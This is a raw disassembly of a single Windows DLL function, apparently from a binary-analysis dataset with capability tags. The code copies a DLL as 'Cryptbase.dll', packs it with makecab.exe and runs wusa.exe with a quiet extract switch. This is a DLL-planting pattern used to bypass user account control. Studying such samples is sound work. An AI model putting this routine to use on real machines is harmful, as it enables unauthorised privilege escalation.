Function at 0x180003150
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x3f]
sub rsp, 0x88
mov qword [rbp + 0x2f], 0xfffffffffffffffe
mov rdx, qword [0x180032598]
lea rcx, [rbp + 0x77]
call fcn.1800137d0
nop
mov rcx, qword [rbp + 0x77]
add rcx, 0xffffffffffffffe8
call fcn.180001d70
add rax, 0x18
mov qword [rbp - 0x19], rax
call fcn.1800142d0
lea rcx, str.FunKoalaSon64.dll
lea rdx, str.FunKoalaSon.dll
test eax, eax
cmovne rdx, rcx
or rbx, 0xffffffffffffffff
xor esi, esi
test rdx, rdx
jne 0x1800031b7
mov ecx, esi
jmp 0x1800031c8
xor eax, eax
mov rcx, rbx
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
dec rcx
mov r8d, ecx
lea rcx, [rbp - 0x19]
call fcn.180003a10
lea r8, str.Cryptbase.dll
lea rdx, [rbp + 0x77]
lea rcx, [rbp + 0x6f]
call fcn.180001630
nop
xor r8d, r8d
mov rdx, qword [rbp + 0x6f]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r8, str.FunKoalaSon.cab
lea rdx, [rbp + 0x77]
lea rcx, [rbp + 0x67]
call fcn.180001630
nop
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 9]
call fcn.180016180
nop
lea rdx, [rbp + 0x67]
lea rcx, [rbp + 0x7f]
call fcn.180016180
nop
lea r8, [0x1800299f0]
lea rdx, [rbp - 9]
lea rcx, [rbp + 0xf]
call fcn.180001630
nop
lea r8, [rbp + 0x7f]
mov rdx, rax
lea rcx, [rbp + 0x27]
call fcn.180003960
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9, qword [rax]
lea r8, str.makecab.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x27]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003291
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0xf]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800032af
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180003391
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov rdx, qword [rbp + 0x7f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800032f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 9]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003311
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x67]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003330
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x6f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000334f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x19]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000336e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rax, qword [rbp + 0x77]
lea rdx, [rax - 0x18]
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18000338a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
jmp 0x180003690
lea rcx, [rbp - 0x11]
call fcn.180002f20
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 1]
call fcn.180016180
nop
lea r8, str.__quiet__extract:
lea rdx, [rbp + 0x7f]
lea rcx, [rbp + 0x17]
call fcn.180001630
nop
lea r8, [rbp - 1]
mov rdx, rax
lea rcx, [rbp + 7]
call fcn.180003960
nop
mov rdx, qword [rbp + 0x17]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800033ed
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9, qword [rbp + 7]
lea r8, str.wusa.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jae 0x180003516
mov rdx, qword [rbp + 7]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003438
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 1]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003457
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x11]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003476
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x7f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003495
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 9]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800034b4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x67]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800034d3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x6f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800034f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x19]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003511
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
jmp 0x18000336e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, str.Cryptbase.dll
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.180001630
mov rcx, qword [rax]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
sete dil
mov rdx, qword [rbp + 0x1f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003578
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 7]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003597
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 1]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800035b6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x11]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800035d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x7f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800035f4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 9]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003613
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x67]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003632
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x6f]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003651
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x19]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003670
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rax, qword [rbp + 0x77]
lea rdx, [rax - 0x18]
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18000368c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
movzx eax, dil
add rsp, 0x88
pop rdi
pop rsi
pop rbx
pop rbp
ret